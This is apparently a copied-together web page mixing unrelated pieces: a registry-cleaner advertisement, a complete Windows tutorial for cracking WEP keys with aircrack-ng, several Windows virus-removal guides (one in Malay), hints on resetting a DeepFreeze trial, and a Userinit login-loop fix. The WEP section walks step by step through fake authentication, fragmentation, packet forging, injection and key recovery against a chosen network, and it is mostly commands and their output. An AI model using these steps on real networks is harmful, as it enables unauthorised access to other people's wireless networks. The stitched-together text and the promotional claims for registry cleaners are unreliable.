Warisan2u.Com Enterprise

1. Use a Registry Cleaner.

This will free up resources show you how to increase PC speed with a few clicks. This is one of the best answers to "how to speed up PC performance?". These easy point and click programs also defrag your hard drive and remove spyware. All that with the push of a button weekly will keep your computer running at it’s original PC speed specs. There are dozens of different registry cleaners software and registry cleaner tools available for use with the registry, However only about 5 have really proven themselves based on user support. One of the industry leaders is RegFix. It was last year's Most Popular PC Repair product. RegFix is the easiest and best. It’s easy to get scammed with inferior products so it’s best to choose a registry cleaner with an excellent record.For an in depth comparison of the best registry cleaner on the market, click this link.

2. Defrag your hard drive

Over time, the data on your hard drive gets scattered. De-fragmenting your hard drive puts your data back into sequential order, making it easier for Windows to access it. As a result, the performance of your computer will improve. An excellent registry cleaner will allow show you how to speed up your PC using defrag techniques. For Easy Steps to Defrag your PC Click Here!. Remember that the hard drive is the cornerstone of your system. If it is in trouble your system can collapse.
Tips to Speed Up Your Hard Drive Click Here! If you are interested in speed up your computer on the net. Click the image below. If not read on.

3. Scan for Adware/Spyware and Viruses

These nasty little worms can wreak havoc on your PC speed. Detecting and cleaning viruses is an excellent way to improve your system's performance and increase PC speed. Registry cleaners will help to remove these buggers also!To Learn more a about the best Spyware removal programs on the maket, Click this link

4. Adjust your computer’s Visual effects

Windows provides a number of resource hogging and interesting visual effects like animated windows and fading menus. These effects, however, can slow down your computer and kill your PC speed. By Altering your preferences and performance needs you can learn how to increase PC Speed in seconds. This is one of Microsoft's tips on how to increase PC speed and performance.Visit Adjust Visual Performance page for assistance.

A excellent registry cleaner can perform all but number 4. If you are serious about learning how to speed up PC performance. Get a registry cleaner and let it do most of the work. There are lot of registry cleaner choices on the market. Learn how to increase PC speed organically and don't get scammed into spending thousands for a new PC.

Bonus Tips

Use a Window's Optimization Tool

Using a Windows Optimization tool can give you a big boost in the the performance department. This takes the work out of your regular maintenance of organizing files, defragging your hard drive and other optimization task. For Windows Optimization Tools, Click Here!

Manage Your Startups

By managing your Windows startup programs and services you can free of vital CPU resources that can re-allocated your PC performance. This is a quick and easy tweak learn how to speed up PC CPU access time. Click Here to Learn how to speed up PC performance by managing your Startups.

Clean Windows Temp Files

Your Windows Temp files can swell to enormous sizes. This will eat up free space that could be allocated for applications you would like to use. Learn how to clean up your PC of useless files

sumber : http://www.delete-computer-history.com

This is a tutorial for cracking WEP and injecting packets for networks with no clients. You'll be able to do so on a windows platform (tested in VISTA and works)!
-------------------------------------------------------------------------------------------

First of all I've got all my info out of this thread and the links posted there:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0
I can only make this tutorial thanks to Zermelo that kept answering my question when I was lost.

GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download commview here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

cd c:\aircrack\

- HIT ENTER

Step 3:
- type the following in the same command prompt:

airserv-ng -d commview.dll

- HIT ENTER
- You should see something like this coming up in the command prompt

Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666

Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:

cd c:\aircrack\

-HIT ENTER

Step 5:
- Now typ this in the same command prompt:

airodump-ng 127.0.0.1:666

- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:

airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666

Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:

cd c:\aircrack\

- HIT ENTER

Step 7:
- Type in the following in command prompt:

aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666

yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you'll get this as the outcome:

Sending Authentication Request
Authentication successful
Sending Association Request
Association successful

if you get:

AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:

sending authentication request

Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:

aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666

yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you'll get this:

Waiting for a data packet...
Read #number packets...

Step 9:
if you wait a little bit you'll soon be prompted with a packet like this:

Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.
0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn.
0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0.
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....

note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):

Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!
AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:

Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...

Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:

packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request

Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:

aireplay-ng -2 -r arp-request 127.0.0.1:666

The green part once again indicates the filename!

You should now see something like this coming up:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ?

- Type in Y
- HIT ENTER

This should come up now:

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)

You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:

airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666

Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:

aircrack-ng -n 64 Filename.cap

note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)


and if it goes like planned a message will pop-up saying:

KEY FOUND: YourKey

That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

Extra useful links:
WEP CRACK tutorial from nokia:
http://tazforum.thetazzone.com/viewtopi ... f1722a5366

Info about the attack used(fragmentation):
http://www.aircrack-ng.org/doku.php?id=fragmentation

Zermelo's thread about this subject:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0

Topic on another forum about this:
http://tinyshell.be/aircrackng/forum/in ... pic=1626.0
-------------------------------------------------------------------------------------------

Greetz .Transmit
(If you all like this tut I'll make one on cracking WEP with commview too)

source : http://tazforum.thetazzone.com/view...

Since i published my “How to remove new folder exe or regsvr exe or autorun inf virus” article many readers have asked me about how to prevent regedit, taskmanger, msconfig etc from closing withing second of it’s opening.

Now i have to say as i have yet to face this issue personally myself, i am not really able to suggest anything but to recommend people to do a boot time scan from avast, and hope that fixes their problem.

But after receiving a repeated request to fix this issue, i decided to write about the approach that i would take if i face this problem and to collaborate with you to solve your problem and in the process create a workable solution to fix this problem, once and for all.

Symptoms of the problem that we are tying to solve,

1. you open regedit, the regedit window flickers and closes again,
2. you open taskmanager, window opens and immediately closes.
3. you try to open msconfig, window closes the moment it opens.

What might be happening?

My thinking is that some rouge process is running that is scanning for these applications and the moment they open, it closes them.

Our Aim : to identify and kill

so what we need to do is, identify these rouge programs and destroy them by first killing the running process and then deleting the actual application from the system. We need to do this to prevent them from running again.
So first let’s try this solution,

1. Create the copy of regedit.exe file and put it in another directory.
   1. you can do this by selecting the regedit.exe file(located in c:\windows directory) and pressing crtl+c and then crtl+v
   2. move this copied file to another new directory say c:\eme_utils
2. Similarly create the copy of task manager located at (C:\WINDOWS\system32\taskmgr.exe) and system configuration utility aka msconfig located at (C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe)
3. Now run these copies by clicking them, to see if you can access the respective applications.

if you don’t want to do this manually you may want to download the xp_emergency tool which does this for you in Windows XP OS.

With this hopefully we may have bypassed the restrictions imposed by the virus or worm or any rouge application, we still need to identify and kill them so that we can leave in peace instead of using alternative solutions.

So let’s start the identification process,

just a warning, this is a repetitive and frustrating process but if you really want to use the taskmanger, regedit or msconfig then you will have to find the process and kill it, so let’s start the journey.

you will need to download Process Explorer from system internals, so that we can identify the culprit process.

once you have downloaded it, extract the zip file and run the procexp.exe file by double clicking it. This will show you all the processes running right now.

From here onwards you are almost on your own, you will have to trust your own knowledge of your system and your intuition. What we now need to do is to kill the processes that you can’t identify.

Note : before making any changes please keep a screen shot or write down the changes that you are doing.

1. Look for any process that you can’t identify the source. as you can see from this image process explorer gives the description and company name of all the process that are running. so the first targets would be the application that you can’t identify the company name or application that you might not have installed.
2. Once you think a process as rouge, note down the path of that application(this will help you delete the file later) by right clicking the name and clicking on properties window in the pop up.
3. 
4. Now kill the process tree by right clicking and choosing the kill process tree option
5. It is the time now to check if we have killed the right process or not, do find that out simply run the regedit or taskmanger or msconfig and see if they stay opened. if they do, move on to next step otherwise get back to step 1.

Worst that can happen at this stage is that you might kill some important process, in that case you have to just restart the system and you will be back from where you started.

6. Once you have identified the process, we will now rename this application by changing the extension to something like *.fix or any thing you like by going to the path that we noted above. We did not delete the file at this stage because we want to be sure that this is the culprit file and not some other file.
7. To verify this just restart you system and see if you can still access the regedit, task manger or msconfig, if you can then you want to delete the file that we renamed above.
8. If not then we will have to start the identification process again, so start from step 1.

Here are some of the known rouge process that are know to do such things

• WebRebates0.exe
• WebRebates1.exe
• msconfig35.exe
• msconfig45.exe
• funny ust scandal.avi.exe,
• SMSS.exe ( an important windows process, Session Manager Subsystem, of same name also exists so be very careful before killing it.)
• Killer.exe

If you fear, or, are not able to identify the process in that case you may want to save the process explorer output in a text file by hitting crtl+s and post the output in comment below so that I or others who have faced the problem will try to help you identify the rouge process to kill.

I am interested in knowing if this process helped you or not, It will be really good if you can participate in this process and leave a note below about all the rouge process or application that you identified.

This will help others to solve their problem as you might have already noticed their is very little help out their regarding this problem.

Source : http://amiworks.co.in/talk/how-to-stop-regedit-taskmanager-or-msconfig-from-closing-automatically/

Bulubebek Virus
Main File :

:\Autorun.inf
:\bulubebek.ini

Virus Running Process

Script.exe
LSASS.exe

Virus Simptom

Duplicate every folder on Drive and change it to .EXE file with ‘folder’ Icon.
Hide the origin folder on Drive.
Hide Task Manager & Folder Option on your PC.

Remove Bulubebek Virus.

1. Disconnected From Internet (LAN or Wireles)
2. Turn Off System Restore
3. Use Third party software such as Process Explorer or Security Task Manager, to View and Kill process tree for LSASS.exe and Script.exe.
4. Repair Windows registry using this script:

[Version]
Signature="$Chicago$"
Provider=Vaksincom Oyee

[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del

[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""
HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"
HKLM, SYSTEM\ControlSet001\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SYSTEM\ControlSet002\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SYSTEM\CurrentControlSet\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden, UncheckedValue,0x00010001,1
HKLM, SOFTWARE\Microsoft\Command Processor, AutoRun,0,
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, CheckedValue, 0x00010001,1
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, DefaultValue, 0x00010001,2
HKCU, Software\Microsoft\Command Processor, AutoRun,0,

[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NOFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NORun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PAYXX.exe
HKCU, Software\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\HideFileExt
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\ShowFullPath
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\ShowFullPathAddress
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools



5. Copy and paste this script into Notepad and save it as Removebulubebek.inf.
6. Right Click Removebulubebek.inf and Click install.
7. LogOff and Logon Computer.
8. ‘Show Hidden file and folder’ on your Folder Option.
9. Delete autorun.inf and bulubebek.ini on your drive (Drive C, Drive D, Removable Drive)
10. Search and remove virus duplication file by using ‘Windows Search”.
Duplication file always
• using ‘folder’ icon,
• 53Kb in size,
• .EXE file,
• File Type ‘Application’


11. To unhide the origin folder on your drive (Drive C, Drive D, Removable Drive)

• Use ATTRIB –s –h –r /s /d On Command Prompt,

c:\ ATTRIB –s –h –r /s /d
Or
d:\ ATTRIB –s –h –r /s /d
Or
:\ ATTRIB –s –h –r /s /d

Sintom jangkitan:

1. Windows masuk, tetapi cuma ada wallpaper.

2. Ada screen memaparkan teks menyatakan kekesalan pencipta virus kerana tidak dapat kerja.

Cara membaiki:

1. Tekan serentak CTRL+ALT+DEL

2. Pilih “Processes”

3. cari nama Image Name lsass.exe

4. Anda akan menjumpai beberapa nama, pilih yang bukan dari SYSTEM

Contohnya, saya sedang guna account Administrator.

Image name User Name

lsass.exe Administrator <— Pilih ini

lsass.exe SYSTEM

5. Right click atas lsass.exe yang anda pilih dan “End Process”

6. Pilih Start>Run

7. Taip “regedit” dan tekan OK.

8. Pilih Edit>Find

9. Taip userinit.exe dan tekan Find Next

Anda akan menemui

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Userinit = C:\WINDOWS\system32userinit.exe,C:\windows\system32\oobe\lsass.exe

10. Right Click pada userinit dan pilih “Modify”

11. Ubah menjadi begini C:\WINDOWS\system32\userinit.exe,

12. Cari fail ini “C:\WINDOWS\system32\oobe\lsass.exe” dan delete.

13. Selesai.

Cara imune:

Oleh sebab ini virus baru, tiada antivirus dapat menangani masalah ini. Kita kena selesaikan sendiri.

1. Pilih Start>Run

2. Taip cmd dan tekan ok

3. Taip

md %windir%\system32\oobe\lsass.exe

tekan enter

attrib +h +r +s %windir%\system32\oobe\lsass.exe

tekan enter

taip exit

4. Selesai, me_cute tidak akan dapat menjangkiti sistem anda.

Peringatan, langkah-langkah ini mungkin tidak sesuai untuk user biasa, jadi minta bantuan rakan-rakan yang mahir.

To keep things simple, ninja is fully portable, self-contained and requires no installation.

Default Access Control Settings http://www.microsoft.com/technet/treeview/...ity/secdefs.asp


On Windows 95/98/Me:

On Windows 2000/XP DeepFreeze consists of several important filez:

There are 2 drivers and 1 service (i'll let you figure out the paths):

DepFrzLo.sys (kernel driver)
DepFrzHi.sys (filesystem driver)
dfserv.exe (service)
frzstate.exe (password dialog)
persis00.sys (password file and "on/off switch")

http://common.ziffdavisinternet.com/downlo...027/inctrl5.zip


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

which must be deleted in order to be able to re-install a fresh trial version of DeepFreeze. One starts with Rebar, and i'll let you figure out the other one. It may be only the Rebar that is necessary to delete.




http://groups.google.ca/groups?q=author:jn...ogle.com&rnum=1

When you log in to Windows, the computer immediately saves your settings, logs off and returns to the login screen again.This is the result of a corrupt or invalid registry entry, which may have been changed by a virus or spyware. Therefore you are strongly advised to scan your computer for viruses and spyware as soon as possible.

Solution

Method 1

Try this method if you can start Windows in safe mode:

• Boot into safe mode.
• Click Start, Run and enter regedit
• Expand HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon
• Select the Winlogon folder.
• If the right-hand pane contains an entry named OldUserinit:
  - delete the entry named Userinit
  - rename OldUserinit to Userinit.
• Check that the value of Userinit is "C:\WINDOWS\system32\userinit.exe," (the comma at the end of the string is important.) Note: if your Windows folder is not C:\Windows, modify the path accordingly.

Method 2

If you have a Microsoft Windows installation CD:

• Perform a repair installation.

Method 3

Try taking the hard drive and attaching it to another Windows XP computer as a slave, or by using a USB-to-IDE adapter. Alternatively you can try making a BartPE recovery CD and booting the computer from that. Any method can be used that gives you read/write access to the hard drive.

Often, the registry entry referred to above has been changed from userinit.exe to wsaupdater.exe. Therefore you have a good chance of success if you just copy Windows\System32\userinit.exe to Windows\System32\wsaupdater.exe

Method 4

Gain read/write access to your hard drive from another computer running the same version of Windows.

• Log in as administrator.
• Ensure that Windows Explorer folder options have enabled Show hidden files and folders.
• Click Start, Run and enter regedit
• Select HKEY_LOCAL_MACHINE
• Click File, Load Hive, then navigate to Windows\System32\Config on your hard drive (not the host system!)
• Select system and click Open.
• For Enter a Key name type anything.
• Expand HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon
• Select the Winlogon folder.
• If the right-hand pane contains an entry named OldUserinit:
  - delete the entry named Userinit
  - rename OldUserinit to Userinit.
• Check that the value of Userinit is "C:\WINDOWS\system32\userinit.exe," (the comma at the end of the string is important.) Note: if your Windows folder is not C:\Windows, modify the path accordingly. This is the Windows path when the drive is in use in your computer, not the drive letter it has currently.
• When you have made the changes click File, Unload Hive.

Applies to

• Microsoft Windows 2000
• Microsoft Windows XP

Source : http://www.the-pc-guru.com